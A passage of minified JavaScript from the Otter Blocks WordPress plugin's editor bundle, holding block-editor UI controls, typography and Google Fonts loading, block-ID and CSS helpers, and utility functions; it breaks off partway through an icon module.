l&&!y?l():t()}),[]),{updateView:v}=(0,b.useDispatch)("themeisle-gutenberg/data"),{__experimentalSetPreviewDeviceType:_}=!!(0,b.useDispatch)("core/edit-post")&&(0,b.useDispatch)("core/edit-post"),C=_&&!y?_:v,w=`inspector-responsive-control-${a}`;return(0,o.createElement)("div",{id:w,className:n()("o-responsive-control",t)},(0,o.createElement)("div",{className:"components-base-control__field"},(0,o.createElement)("div",{className:"components-base-control__title"},(0,o.createElement)("label",{className:"components-base-control__label"},e),(0,o.createElement)("div",{className:"o-responsive-buttons"},(0,o.createElement)(d.ButtonGroup,null,(0,o.createElement)(d.Button,{icon:r.Z,label:(0,c.__)("Desktop"),onClick:()=>C("Desktop"),className:n()({"is-selected":"Desktop"===f})}),(0,o.createElement)(d.Button,{icon:i.Z,label:(0,c.__)("Tablet"),onClick:()=>C("Tablet"),className:n()({"is-selected":"Tablet"===f})}),(0,o.createElement)(d.Button,{icon:s.Z,label:(0,c.__)("Mobile"),onClick:()=>C("Mobile"),className:n()({"is-selected":"Mobile"===f})})))),l))};t.Z=m},5241:function(e,t,l){l.d(t,{V:function(){return u},d:function(){return b}});var o=l(9196),a=l(3967),n=l.n(a),r=l(5609),i=l(4333),s=l(2175),c=l(9307);const d=({label:e,value:t,options:l,onChange:a})=>{const s=`inspector-style-switcher-control-${(0,i.useInstanceId)(d)}`;return(0,o.createElement)(r.BaseControl,{id:s,label:e},(0,o.createElement)("div",{className:"o-style-switcher"},l.map((e=>(0,o.createElement)(r.Button,{key:e.value,className:n()("o-style-switcher-item",{"is-active":e.value===t}),tabIndex:"0",onClick:()=>(e=>a(e))(e.value)},(0,o.createElement)("div",{className:"o-style-switcher-item-preview"},(0,o.createElement)("img",{src:e.image})),(0,o.createElement)("div",{className:"o-style-switcher-item-label"},e.label))))))},u=d,b=({label:e,value:t,options:l,onChange:a})=>(0,o.createElement)(s.BlockControls,null,(0,o.createElement)(r.ToolbarGroup,null,(0,o.createElement)(r.Dropdown,{contentClassName:"otter-styles-popover-content",position:"bottom center",renderToggle:({isOpen:t,onToggle:l})=>(0,o.createElement)(r.Button,{className:"components-dropdown-menu__toggle",icon:"admin-appearance",onClick:l,"aria-haspopup":"true","aria-expanded":t,label:e,showTooltip:!0},(0,o.createElement)("span",{className:"components-dropdown-menu__indicator"})),renderContent:()=>(0,o.createElement)(c.Fragment,null,(0,o.createElement)("div",{className:"o-style-switcher"},l.map((e=>(0,o.createElement)(r.Button,{key:e.value,className:n()("o-style-switcher-item",{"is-active":e.value===t}),tabIndex:"0",onClick:()=>(e=>a(e))(e.value)},(0,o.createElement)("div",{className:"o-style-switcher-item-preview"},(0,o.createElement)("img",{src:e.image})),(0,o.createElement)("div",{className:"o-style-switcher-item-label"},e.label))))))})))},8286:function(e,t,l){var o=l(9196),a=l(3967),n=l.n(a),r=l(5609);t.Z=({value:e,options:t,onChange:l,hasIcon:a=!1})=>(0,o.createElement)(r.ButtonGroup,{className:n()("o-toggle-group-control",{"has-icon":a})},t?.map((t=>(0,o.createElement)("div",{key:t?.value,className:"o-toggle-option"},(0,o.createElement)(r.Button,{key:t?.value,isPrimary:e==t?.value,variant:e==t?.value?"primary":"secondary",icon:t?.icon,label:t?.label,onClick:()=>l(t?.value),showTooltip:a},a?"":t?.label)))))},1967:function(e,t,l){var o=l(9196),a=l(2819),n=l(3082),r=l.n(n),i=l(5736),s=l(5609),c=l(8286),d=l(3279),u=l(8184),b=l(9526),m=l(1049),p=l(5478),g=l(7549),h=l(2165),k=l(2484),y=l(9307),f=l(4333),v=l(2154),_=l(3967),C=l.n(_);const w=({children:e})=>(0,o.createElement)("div",{className:"o-two-column-components"},e),E={isEnabled:{fontFamily:!1,appearance:!1,spacing:!1,decoration:!1,letterCase:!1,lineHeight:!1,variant:!1},fontSizes:[{name:(0,i.__)("14","otter-blocks"),slug:"extra-small",size:"14px"},{name:(0,i.__)("16","otter-blocks"),slug:"small",size:"16px"},{name:(0,i.__)("18","otter-blocks"),slug:"medium",size:"18px"},{name:(0,i.__)("24","otter-blocks"),slug:"large",size:"24px"},{name:(0,i.__)("28","otter-blocks"),slug:"extra-large",size:"28px"}],componentNames:{fontSize:(0,i.__)("Font Size","otter-blocks"),fontFamily:(0,i.__)("Font Family","otter-blocks"),appearance:(0,i.__)("Appearance","otter-blocks"),spacing:(0,i.__)("Spacing","otter-blocks"),decoration:(0,i.__)("Decoration","otter-blocks"),letterCase:(0,i.__)("Letter Case","otter-blocks"),lineHeight:(0,i.__)("Line Height","otter-blocks"),variant:(0,i.__)("Variant","otter-blocks")},title:(0,i.__)("Font Size","otter-blocks")},x=e=>{var t,l,n,_,S,T,B,M,P;const{enableComponents:z,componentsValue:F,componentsDefaultValue:R,onChange:L,showAsDisable:O,title:I,onReset:H,allowVariants:N}=e,[A,V]=(0,y.useState)((0,a.mapValues)(null!=F?F:E.isEnabled,(e=>Boolean(e)))),D=(e,t)=>{L?.({...null!=F?F:{},[e]:t})},G=`inspector-google-fonts-control-${(0,f.useInstanceId)(x)}`,[j,W]=(0,y.useState)([]),[$,U]=(0,y.useState)([]),[Z,q]=(0,y.useState)(""),[Y,K]=(0,y.useState)(!1);return(0,y.useEffect)((()=>{Boolean(e.config?.fontFamilyAsSelect)&&A?.fontFamily&&0===j.length&&(K(!0),v.Z.afterLoading().then((e=>{W(e.fonts),K(!1)})))}),[A?.fontFamily,j,N,F?.fontFamily]),(0,y.useEffect)((()=>{N&&F?.fontFamily&&U(v.Z.getVariants(F?.fontFamily))}),[N,F?.fontFamily]),(0,o.createElement)("div",{className:"o-typo-component"},(0,o.createElement)(s.__experimentalHStack,{className:"o-typo-header"},(0,o.createElement)("p",null,null!=I?I:E.title),(0,o.createElement)(s.DropdownMenu,{icon:d.Z,label:(0,i.__)("View options","otter-blocks"),toggleProps:{isSmall:!0}},(({onClose:e=noop})=>(0,o.createElement)(y.Fragment,null,(0,o.createElement)(s.MenuGroup,null,(0,o.createElement)(s.Disabled,null,(0,o.createElement)(s.MenuItem,{key:"fontSize",isSelected:!0,label:E.componentNames?.fontSize,icon:u.Z,onClick:()=>{},role:"menuitemcheckbox"},E.componentNames?.fontSize))),(0,o.createElement)(s.MenuGroup,null,["fontFamily","appearance","spacing","decoration","letterCase","lineHeight","variant"].filter((e=>!("variant"===e&&!N))).map((e=>z?.[e]?(0,o.createElement)(s.MenuItem,{key:e,isSelected:Boolean(A?.[e]),label:E.componentNames?.[e],icon:Boolean(A?.[e])?u.Z:void 0,onClick:()=>{V({...A,[e]:!Boolean(A?.[e])}),A?.[e]&&H?.(e)},role:"menuitemcheckbox"},E.componentNames?.[e]):(0,o.createElement)(y.Fragment,null)))),(0,o.createElement)(s.MenuGroup,null,(0,o.createElement)(s.MenuItem,{variant:"tertiary",onClick:()=>{L?.({fontFamily:void 0,appearance:void 0,spacing:void 0,decoration:void 0,letterCase:void 0,lineHeight:void 0,variant:void 0}),V(E.isEnabled),e?.()}},(0,i.__)("Reset all","otter-blocks"))))))),(0,o.createElement)(s.Disabled,{isDisabled:Boolean(O?.fontSize)},(0,o.createElement)(s.FontSizePicker,{value:null!==(t=F?.fontSize)&&void 0!==t?t:R?.fontSize,fontSizes:null!==(l=e.fontSizes)&&void 0!==l?l:E.fontSizes,onChange:e=>D("fontSize",e?.toString()),__nextHasNoMarginBottom:!0})),A?.fontFamily&&(0,o.createElement)(s.Disabled,{isDisabled:Boolean(O?.fontFamily)},(0,o.createElement)("div",{className:"o-gfont-control"},(0,o.createElement)(s.BaseControl,{label:"Font Family",id:G,className:"o-no-margin"},null!==j?Boolean(e.config?.fontFamilyAsSelect)?(0,o.createElement)(s.SelectControl,{value:null!==(n=F?.fontFamily)&&void 0!==n?n:R?.fontFamily,id:G,options:[{label:(0,i.__)("Default","otter-blocks"),value:""},...j.map((e=>({label:e.family,value:e.family})))],onChange:e=>{D("fontFamily",""!==e?e:void 0)}}):(0,o.createElement)(s.Dropdown,{contentClassName:"o-gfont-popover",position:"bottom center",renderToggle:({isOpen:e,onToggle:t})=>{var l,a;return(0,o.createElement)(s.Button,{className:"o-gfont-button",id:G,onClick:()=>{A?.fontFamily&&0===j.length&&(K(!0),v.Z.afterLoading().then((e=>{W(e.fonts),K(!1),N&&F?.fontFamily&&U(e.getVariants(F?.fontFamily))}))),t?.()},"aria-expanded":e},null!==(l=null!==(a=F?.fontFamily)&&void 0!==a?a:R?.fontFamily)&&void 0!==l?l:(0,i.__)("Select Font Family","otter-blocks"))},renderContent:({onToggle:e})=>(0,o.createElement)(s.MenuGroup,{label:(0,i.__)("Google Fonts","otter-blocks")},(0,o.createElement)(s.TextControl,{value:Z,onChange:e=>q(e)}),(0,o.createElement)("div",{className:"components-popover__items"},(0,o.createElement)(s.MenuItem,{onClick:()=>{e(),D("fontFamily",void 0),q("")}},(0,i.__)("Default","otter-blocks")),0===j.length&&Y?(0,o.createElement)(y.Fragment,null,(0,o.createElement)(s.Spinner,null),(0,i.__)("Loading fonts.","otter-blocks")):"",j.map(((t,l)=>{if(!Z||t.family.toLowerCase().includes(Z.toLowerCase()))return(0,o.createElement)(s.MenuItem,{key:l,className:C()({"is-selected":t.family===F?.fontFamily}),onClick:()=>{var l;e(),l={fontFamily:t.family,variant:"normal"},L?.({...null!=F?F:{},...l}),q("")}},(0,o.createElement)(r(),{onChange:e=>{e&&v.Z.addPreviewFont(t.family,t.family)}},(0,o.createElement)("div",{style:{fontFamily:t.family}},t.family)))}))))}):(0,i.__)("Loading…","otter-blocks")))),(0,o.createElement)("div",null),(N&&A?.variant||A?.lineHeight)&&(0,o.createElement)(w,null,N&&A?.variant&&(0,o.createElement)(s.Disabled,{isDisabled:Boolean(O?.variant)},(0,o.createElement)(s.SelectControl,{label:(0,i.__)("Variants","otter-blocks"),value:null!==(_=F?.variant)&&void 0!==_?_:"normal",options:$,onChange:e=>D("variant",e)})),A?.lineHeight&&(0,o.createElement)(s.Disabled,{isDisabled:Boolean(O?.lineHeight)},(0,o.createElement)(s.__experimentalUnitControl,{label:(0,i.__)("Line Height","otter-blocks"),value:null!==(S=F?.lineHeight)&&void 0!==S?S:R?.lineHeight,onChange:e=>D("lineHeight",e),units:[{a11yLabel:"Unitless (-)",label:"-",step:.1,value:""},{a11yLabel:"Pixels (px)",label:"px",step:.1,value:"px"},{a11yLabel:"Percentage (%)",label:"%",step:1,value:"%"}]}))),(A?.appearance||A?.spacing)&&(0,o.createElement)(w,null,A?.appearance&&(0,o.createElement)(s.Disabled,{isDisabled:Boolean(O?.appearance)},(0,o.createElement)(s.SelectControl,{label:(0,i.__)("Appearance","otter-blocks"),value:null!==(T=F?.appearance)&&void 0!==T?T:R?.appearance,options:[{label:(0,i.__)("Regular","otter-blocks"),value:"normal"},{label:(0,i.__)("Italic","otter-blocks"),value:"italic"}],onChange:e=>D("appearance",e)})),A.spacing&&(0,o.createElement)(s.Disabled,{isDisabled:Boolean(O?.spacing)},(0,o.createElement)(s.__experimentalUnitControl,{label:"Spacing",value:null!==(B=F?.spacing)&&void 0!==B?B:R?.spacing,onChange:e=>D("spacing",e)}))),A?.decoration&&(0,o.createElement)(s.Disabled,{isDisabled:Boolean(O?.decoration)},(0,o.createElement)(s.BaseControl,{label:(0,i.__)("Decoration","otter-blocks"),id:"1"},(0,o.createElement)(c.Z,{hasIcon:!0,value:null!==(M=F?.decoration)&&void 0!==M?M:R?.decoration,options:[{label:(0,i.__)("Reset","otter-blocks"),value:"reset",icon:b.Z},{label:(0,i.__)("Underline","otter-blocks"),value:"underline",icon:m.Z},{label:(0,i.__)("Strikethrough","otter-blocks"),value:"strikethrough",icon:p.Z}],onChange:e=>D("decoration",e)}))),A?.letterCase&&(0,o.createElement)(s.Disabled,{isDisabled:Boolean(O?.letterCase)},(0,o.createElement)(s.BaseControl,{label:(0,i.__)("Letter Case","otter-blocks"),id:"1"},(0,o.createElement)(c.Z,{hasIcon:!0,value:null!==(P=F?.letterCase)&&void 0!==P?P:R?.letterCase,options:[{label:(0,i.__)("None","otter-blocks"),value:"none",icon:b.Z},{label:(0,i.__)("Uppercase","otter-blocks"),value:"uppercase",icon:g.Z},{label:(0,i.__)("Lowercase","otter-blocks"),value:"lowercase",icon:h.Z},{label:(0,i.__)("Capitalize","otter-blocks"),value:"capitalize",icon:k.Z}],onChange:e=>D("letterCase",e)}))))};t.Z=x},5225:function(e,t,l){l.r(t),l.d(t,{GlobalStateMemory:function(){return F},addBlockId:function(){return y},addGlobalDefaults:function(){return m},blockInit:function(){return x},buildGetSyncValue:function(){return M},copyScriptAssetToIframe:function(){return B},getDefaultValue:function(){return p},getDefaultValueByField:function(){return g},getEditorIframe:function(){return T},insertBlockBelow:function(){return z},pullOtterPatterns:function(){return O},pullPatterns:function(){return L},pullReusableBlockContentById:function(){return P},useCSSNode:function(){return S},useTabSwitch:function(){return R}});var o,a,n,r,i=l(8721),s=l(2819),c=l(9818),d=l(4981),u=l(820),b=l(9307);null!==(a=(o=window).themeisleGutenberg)&&void 0!==a||(o.themeisleGutenberg={}),null!==(r=(n=window.themeisleGutenberg).blockIDs)&&void 0!==r||(n.blockIDs=[]);const m=(e,t,l,o)=>{if(void 0!==window.themeisleGutenberg?.globalDefaults&&!(0,s.isEqual)(u.Z[l],window.themeisleGutenberg.globalDefaults[l])){const a={...window.themeisleGutenberg.globalDefaults[l]};t({...Object.keys(a).filter((t=>(0,s.isEqual)(e[t],o[t]?.default))).reduce(((e,t)=>(e[t]=a[t],e)),{})})}},p=(e,t,l)=>{const o=window.themeisleGutenberg.globalDefaults?.[e];return o?.[t]?o?.[t]:l[t]?.default},g=({name:e,field:t,defaultAttributes:l,attributes:o})=>o.isSynced?.includes(t)?p(e,t,l):o[t],h={},k={},y=e=>{var t,l;const{attributes:o,setAttributes:a,clientId:n,idPrefix:r,name:s,defaultAttributes:c}=e;k[n]="busy";const d=null!==(t=window.themeisleGutenberg?.blockIDs)&&void 0!==t?t:[];if(void 0===o||void 0===a)return e=>{h[s]?.delete(e)};null!==(l=h[s])&&void 0!==l||(h[s]=new Set);const u=Boolean(o.id&&h[s].has(o.id));if(void 0===o.id||u){const e=r||(e=>`wp-block-${e.replace("/","-")}-`)(s),t=((e,t,l)=>{const o=`${e}${t.slice(0,8)}`;if(l.has(o)){let t=`${e}${(0,i.Z)().slice(0,8)}`;for(;l.has(t);)t=`${e}${(0,i.Z)().slice(0,8)}`;return t}return o})(e,n,h[s]);if(void 0===o.id)return m(o,a,s,c),h[s].add(t),d.push(t),a({id:t}),e=>e=>{};if(u)return h[s].add(t),a({id:t}),e=>{}}else h[s].add(o.id),d.push(o.id);return e=>{k[n]="free",h[s].delete(e||o?.id)}},{getBlock:f}=(0,c.select)("core/block-editor"),{getBlockParents:v}=(0,c.select)("core/block-editor"),{updateBlockAttributes:_}=(0,c.dispatch)("core/block-editor"),{getSelectedBlockClientId:C}=(0,c.select)("core/block-editor"),w=e=>t=>{_(e,t)},E=e=>{const t=f(e);return{attributes:t?.attributes,name:t?.name}},x=(e,t)=>(void 0===k[e]&&(k[e]="free"),"busy"===k[e]||(e=>v(e)?.some((e=>{var t;const{attributes:l,name:o}=null!==(t=f(e))&&void 0!==t?t:{};return"core/query"===o||l?.ref})))(e)&&C()!==e?()=>{}:y({clientId:e,defaultAttributes:t,setAttributes:w(e),...E(e)})),S=(e={})=>{const[t,l]=(0,b.useState)({css:[],media:[]}),[o,a]=(0,b.useState)({node:null,cssNodeName:""});return(0,b.useEffect)((()=>{var t;let l;const o=document.createElement("style");return o.type="text/css",o.setAttribute("data-generator","otter-blocks"),setTimeout((()=>{l=parent.document.querySelector('iframe[name="editor-canvas"]')?.contentWindow.document.head||document.head,l?.appendChild(o)}),500),a({node:o,cssNodeName:null!==(t=e?.selector)&&void 0!==t?t:`o-node-${(0,i.Z)()}`}),()=>{l?.removeChild(o)}}),[]),(0,b.useEffect)((()=>{if(o.node&&o.cssNodeName&&void 0!==t.media){const l=(0,s.zip)(t.css,t.media).map((t=>{const[l,a]=t;return a?`${a} { \n\t .${o.cssNodeName}${e?.appendToRoot?"":" "}${l} }`:`.${o.cssNodeName}${e?.appendToRoot?"":" "}${l}`})).join("\n")||"";o.node.textContent=l}}),[t.css,t.media,o.node,o.cssNodeName]),[o.cssNodeName,(e=[],t=[])=>{l({css:e,media:t})},a]},T=()=>document.querySelector('iframe[name^="editor-canvas"]'),B=(e,t)=>{var l;const o=T();if(null!==(l=t)&&void 0!==l||(t=()=>{}),Boolean(o))if(Boolean(o?.contentWindow?.document.querySelector(e)))t?.();else{const l=document.querySelector(e);if(!Boolean(l))return void console.warn(`Selector: ${e} is invalid.`);const a=o.contentWindow.document.createElement("script");a.onload=t,a.id=l.id,a.type="text/javascript",o.contentWindow.document?.head.appendChild(a),a.src=l.src}},M=(e,t,l)=>o=>t?.isSynced?.includes(o)?g({name:e,field:o,defaultAttributes:l,attributes:t}):t?.[o];function P(e){var t;const l=(0,c.select)("core").getEntityRecords("postType","wp_block");if(!l)return[];const o=l.find((t=>t.id===e));return o&&void 0!==o.content?(0,d.parse)(null!==(t=o.content.raw)&&void 0!==t?t:o.content):[]}function z(e,t){const{getBlockRootClientId:l,getTemplateLock:o,getBlockIndex:a}=(0,c.select)("core/block-editor"),{insertBlock:n,insertBlocks:r}=(0,c.dispatch)("core/block-editor"),i=l(e);if(o(i))return;const s=a(e,i);if(Array.isArray(t))return r(t,s+1,i);n(t,s+1,i)}class F{constructor(){this.states={},window.addEventListener("message",this.handleMessage.bind(this))}handleMessage(e){if("object"==typeof e.data&&null!==e.data&&"otterMemoryState"in e.data){const{key:t,value:l,location:o,action:a}=e.data.otterMemoryState;"set"===a&&(void 0===this.states[o]&&(this.states[o]={}),this.states[o][t]=l),"get"===a&&(void 0!==window.parent?window?.parent:window).postMessage?.({otterMemoryState:{key:t,location:o,value:this.getState(o,t),action:"value"}})}}getState(e,t){if(void 0!==this.states[e])return this.states[e][t]}}function R(e,t){const[l,o]=(0,b.useState)(t);return(0,b.useEffect)((()=>{const l=l=>{if("object"==typeof l.data&&null!==l.data&&"otterMemoryState"in l.data){const{key:a,value:n,location:r,action:i}=l.data.otterMemoryState;"tab"===r&&e===a&&"value"===i&&o(null!=n?n:t)}};return window.addEventListener("message",l),(void 0!==window.parent?window?.parent:window).postMessage({otterMemoryState:{key:e,location:"tab",action:"get"}}),()=>{window.removeEventListener("message",l)}}),[]),[l,t=>{(void 0!==window.parent?window?.parent:window).postMessage?.({otterMemoryState:{key:e,location:"tab",value:t,action:"set"}}),o(t)}]}function L(){var e;return null!==(e=(0,c.select)("core")?.getBlockPatterns())&&void 0!==e?e:[]}function O(){return L().filter((e=>e?.name?.startsWith("otter-blocks/")||e?.name?.startsWith("otter-pro/")))}},2154:function(e,t,l){var o=l(2819);const{getEditorIframe:a}=l(5225),n=new class{constructor(){this.fonts=[],this.status="none",this.controller=new AbortController,this.request=null,this.node=document.createElement("style"),this.node.type="text/css",this.node.setAttribute("data-generator","otter-blocks-fonts-loader"),this.isAttaching=!1,this.usedFonts=[],this.previewFonts=new Set}async afterLoading(){return await this.requestFonts(),this}getFont(e){return this.fonts.find((t=>t.family===e))}getVariants(e){const t=this.getFont(e);return t?t.variants.filter((e=>!1===e.includes("italic"))).map((e=>({label:(0,o.startCase)((0,o.toLower)(e)),value:e}))):[]}async loadFontToBrowser(e,t="regular"){if(!e)return Error("Empty font name.");"none"!==this.status&&"loading"!==this.status||await this.afterLoading();const l=this.getFont(e);return l?(this.usedFonts.find((l=>l.font.family===e&&l.variant===t))||(this.usedFonts.push({font:l,variant:t}),this.updateCSSNode()),l):Error("Font does not exists.")}async requestFonts(e=!1){return"done"===this.status?this.fonts:("none"===this.status&&(this.status="loading",this.request=new Promise((async(t,l)=>{"done"!==this.status||e||t(this.fonts),e&&this.controller.abort(),fetch("https://www.googleapis.com/webfonts/v1/webfonts?key=AIzaSyClGdkPJ1BvgLOol5JAkQY4Mv2lkLYu00k",{signal:this.controller.signal}).then((e=>e.json())).then((e=>{this.fonts=e.items,this.status="done",t(this.fonts)})).catch((e=>{this.status="error",l(e)}))}))),this.request)}updateCSSNode(){this.node.innerHTML=this.renderCSSFont()}attach(){this.isAttaching||(this.isAttaching=!0,setTimeout((()=>{var e;const t=null!==(e=a()?.contentWindow?.document)&&void 0!==e?e:document;t?.querySelector('[data-generator*="otter-blocks-fonts-loader"]')||(t?.head?.appendChild(this.node),this.previewFonts.clear()),this.isAttaching=!1}),500))}renderCSSFont(){return Array.from(this.usedFonts).map((({font:e,variant:t})=>{var l;const o=(null!==(l=e.files?.[t])&&void 0!==l?l:e.files?.regular)?.replace("http://","https://");return`\n\t\t\t\t@font-face {\n\t\t\t\t\tfont-family: "${e.family}";\n\t\t\t\t\tsrc: url('${o}'); /* IE9 Compat Modes */\n\t\t\t\t\tsrc: url('${o}') format('truetype'), /* Safari, Android, iOS */\n\t\t\t\t}\n\t\t\t`})).join("\n")}addPreviewFont(e,t){var l;if(this.previewFonts.has(e))return;this.previewFonts.add(e);const o=encodeURIComponent(t),n=`https://fonts.googleapis.com/css2?family=${e.replace(" ","+")}&text=${o}`,r=document.createElement("link");r.rel="stylesheet",r.href=n;const i=null!==(l=a()?.contentWindow?.document)&&void 0!==l?l:document;i?.body?.appendChild(r)}};Object.seal(n),t.Z=n},4715:function(e,t,l){l.d(t,{CJ:function(){return g},DY:function(){return $},Dv:function(){return P},EP:function(){return p},FH:function(){return h},FV:function(){return f},Fv:function(){return T},GM:function(){return R},Jc:function(){return E},L4:function(){return I},R3:function(){return u},R8:function(){return j},S3:function(){return m},Uo:function(){return s},Vg:function(){return C},Wi:function(){return F},Yj:function(){return y},Yw:function(){return v},_Z:function(){return w},__:function(){return b},_c:function(){return L},b8:function(){return c},bv:function(){return B},cg:function(){return M},iC:function(){return H},jO:function(){return W},nG:function(){return x},nT:function(){return N},p6:function(){return d},rW:function(){return S},tB:function(){return O},tP:function(){return D},um:function(){return A},v:function(){return G},yg:function(){return V}});var o=l(2819),a=l(5736),n=l(9771),r=l(5912);const i=["wp_template","wp_template_part","wp_navigation","nav_menu_item","wp_block","attachment","sfwd-certificates","e-landing-page","piotnetforms-book","piotnetforms","piotnetforms-data","jet-menu","jet-popup","adsforwp-groups","pgc_simply_gallery","editor-story","pafe-form-booking","sfwd-assignment","sfwd-essays","pafe-formabandonment","frm_display","sfwd-transactions","jet-engine","jet-theme-core","reply","jet_options_preset","tutor_assignments","brizy_template","jet-smart-filters","pafe-fonts","pafe-form-database","ct_content_block","adsforwp","iamport_payment","tribe_events","mec_esb","elementor_library","testimonial","zion_template","popup","jet-engine-booking","tutor_quiz","piotnetforms-aban","forum","topic","sfwd-quiz","mec-events","jet-woo-builder","neve_custom_layouts","feedzy_imports","neve_cart_notices","visualizer"],s=e=>{const t=document.createElement("div");return t.innerHTML=e,void 0!==t.innerText?t.innerText:t.textContent},c=e=>{const t=document.createElement("textarea");return t.innerHTML=e,t.value},d=e=>{const t=(e=new Date(e)).getDate(),l=e.getMonth(),o=e.getFullYear();return t+" "+["January","February","March","April","May","June","July","August","September","October","November","December"][l]+", "+o},u=async()=>{const e=window.themeisleGutenberg.postTypes;if(e){const t=Object.keys(e);return(0,o.without)(t,...i)}},b=e=>{if("string"==typeof e||e instanceof String)return e[0].toUpperCase()+e.slice(1);throw"The parameter must be a string."},m=(e,t)=>{const l=[];return e?.forEach(((o,a)=>{l.push(o),a<e.length-1&&l.push(t)})),l},p=()=>{const e=60*(0,n.__experimentalGetSettings)().timezone.offset,t=0>e?"-":"+",l=Math.abs(e);return(0,a.sprintf)("%s%02d:%02d",t,l/60,l%60)},g=e=>!Object.keys(e).some((t=>null!==e[t])),h=e=>Object.values(e).every((e=>void 0===e)),k=(e,t)=>(0,o.isNumber)(e)?e+t:e,y=e=>k(e,"px"),f=e=>k(e,"%"),v=(e,t=void 0)=>(0,o.isNumber)(e)?(0,r.rO)(y(e)):void 0===e?t:{top:e?.top,bottom:e?.bottom,right:e?.right,left:e?.left},_={top:"flex-start",left:"flex-start",center:"center",bottom:"flex-end",right:"flex-end"},C=e=>_[e],w=e=>{-1<e.indexOf("?")&&(e=e.split("?")[1]);const t=e.split("&"),l={};return t.forEach((function(e){""!==(e=e.split("="))[0]&&(l[e[0]]=decodeURIComponent(e[1]||""))})),l},E=e=>Object.keys(e).map((t=>t+"="+e[t])).join("&"),x=e=>{var t;const l=e?.filter((e=>e?.[0]))?.[0];return null!==(t=l?.[1])&&void 0!==t?t:l?.[0]},S=(e,t=100)=>{if(e||(e="#000000"),"#"!==e[0])return e;const[l,o,a]=e.match(/\w\w/g).map((e=>parseInt(e,16)));return`rgba(${l},${o},${a},${t/100})`},T=e=>{if(!e)return!1;let t=e;if(e.startsWith("var(")&&(t=getComputedStyle(document.documentElement).getPropertyValue(e.slice(4,-1)).trim()),t.startsWith("#")&&(t=S(t)),!Boolean(t))return!1;const[l,o,a]=t.match(/\d+/g).map(Number);return 128>.299*l+.587*o+.114*a?"dark":"light"},B=(e={},t={})=>{var l,o,a,n,r,i,s,c,d;return null!==(l=e)&&void 0!==l||(e={}),`${null!==(o=null!==(a=e?.top)&&void 0!==a?a:t?.top)&&void 0!==o?o:"0px"} ${null!==(n=null!==(r=e?.right)&&void 0!==r?r:t?.right)&&void 0!==n?n:"0px"} ${null!==(i=null!==(s=e?.bottom)&&void 0!==s?s:t?.bottom)&&void 0!==i?i:"0px"} ${null!==(c=null!==(d=e?.left)&&void 0!==d?d:t?.left)&&void 0!==c?c:"0px"}`},M=(e,t)=>{if(void 0===t||(0,o.isEmpty)(t))return e;const l=(0,o.omitBy)(e,((e,l)=>e===t?.[l]));return(0,o.isEmpty)(l)?void 0:l},P=(e,t)=>(0,o.merge)({left:"0px",right:"0px",bottom:"0px",top:"0px"},t,e),z={Desktop:0,Tablet:1,Mobile:2},F=(e,t)=>{const l=new URL(e);return l.searchParams.set("utm_campaign",t),l.toString()},R=(e,t)=>(l,a,n={})=>{var r,i;const s=a[null!==(r=z[t])&&void 0!==r?r:0]?.split(".")[0],c={[s]:{...n}};(0,o.set)(c,a[null!==(i=z[t])&&void 0!==i?i:0],l),e("object"==typeof c[s]&&(0,o.isEmpty)(c[s])?{[s]:void 0}:c)},L=(e,t="Desktop",l=!0)=>o=>{var a,n;return l&&!o?.[z[e]]&&e!==t?null!==(n=o?.[z[e]-1])&&void 0!==n?n:o?.[z[e]-2]:null!==(a=o?.[z[e]])&&void 0!==a?a:o?.[z[t]]},O=(e,t)=>{const l=t?.split(" ")||[],o=e.map((e=>e.value)),a=e.find((e=>e.isDefault))?.value||"";for(const e of l){if(-1===e.indexOf("is-style-"))continue;const t=e.substring(9);if(-1<o.indexOf(t))return t}return a},I=(e,t,l)=>{const o=e?.split(" ")||[],a=O(t,e),n=t.find((e=>e.isDefault))?.value||"";return a&&-1<o.indexOf(`is-style-${a}`)&&o.splice(o.indexOf(`is-style-${a}`),1),l&&l!==n&&o.push(`is-style-${l}`),o.join(" ")},H=e=>{var t;return`{\n${null!==(t=e?.map((e=>{return t=e?.[0],l=e?.[1],o=e?.[2],null==l||void 0!==o&&!("function"==typeof o?o(l):o)?void 0:`${t}: ${l};`;var t,l,o}))?.filter((e=>void 0!==e))?.join("\n"))&&void 0!==t?t:""} \n}`},N=e=>(0,o.isString)(e)?{top:e,bottom:e,right:e,left:e}:e,A=e=>{if(void 0===e)return;const t=(0,o.isString)(e)?P(N(e)):P(e);return`${t.top} ${t.right} ${t.bottom} ${t.left}`},V=e=>(e=>{if(!(0,o.isObjectLike)(e))return e;for(const t in e)(0,o.isObjectLike)(e[t])&&(e[t]=V(e[t])),(0,o.isNil)(e[t])&&delete e[t];return(0,o.isEmpty)(e)?void 0:e})((0,o.cloneDeep)(e)),D=(e,t)=>(0,o.isNumber)(e)?A(k(e,t)):A(e),G=(e,t="px")=>(0,o.isNumber)(e)?N(k(e,t)):e;function j(e=null){if(!e){if("undefined"==typeof window)return!1;e=window}const{platform:t}=e.navigator;return-1!==t.indexOf("Mac")||["iPad","iPhone"].includes(t)}const W=e=>!(void 0!==e?.top&&void 0!==e?.right&&void 0!==e?.bottom&&void 0!==e?.left),$=(e,t,l=(e=>e))=>{if(void 0===e||void 0===t)return[];let o=[];for(const a of e)t(a)&&o.push(a),l(a)&&(o=o.concat($(a?.innerBlocks,t)));return o}},340:function(e,t,l){l.r(t),l.d(t,{StarFilled:function(){return A},StarHalf:function(){return V},accordionIcon:function(){return d},accordionItemIcon:function(){return u},aiGeneration:function(){return ue},aiLayoutGeneratorIcon:function(){return pe},alignBottom:function(){return ne},alignCenter:function(){return re},alignTop:function(){return ie},businessHoursIcon:function(){return N},buttonIcon:function(){return p},buttonsIcon:function(){return m},cartIcon:function(){return H},check:function(){return D},circleIcon:function(){return g},close:function(){return G},cols112:function(){return q},cols12:function(){return $},cols121:function(){return K},cols131:function(){return J},cols21:function(){return U},cols211:function(){return Y},cols2Equal:function(){return W},cols2Grid:function(){return oe},cols3Equal:function(){return Z},cols3Grid:function(){return ae},cols4Equal:function(){return X},cols5Equal:function(){return Q},cols6Equal:function(){return le},colsCollapsed:function(){return ee},colsFull:function(){return j},columnIcon:function(){return z},columnsIcon:function(){return P},comparisonTableIcon:function(){return ge},contentAiGenerationIcon:function(){return me},countdownIcon:function(){return h},faIcon:function(){return y},flipIcon:function(){return k},formAiGeneration:function(){return be},formFieldIcon:function(){return v},formIcon:function(){return f},googleMapIcon:function(){return _},headingIcon:function(){return b},iconListIcon:function(){return C},iconListItemIcon:function(){return w},lottieIcon:function(){return x},mapIcon:function(){return E},otterIcon:function(){return s},otterIconColored:function(){return c},popupIcon:function(){return S},popupScratch:function(){return se},popupWithForm:function(){return 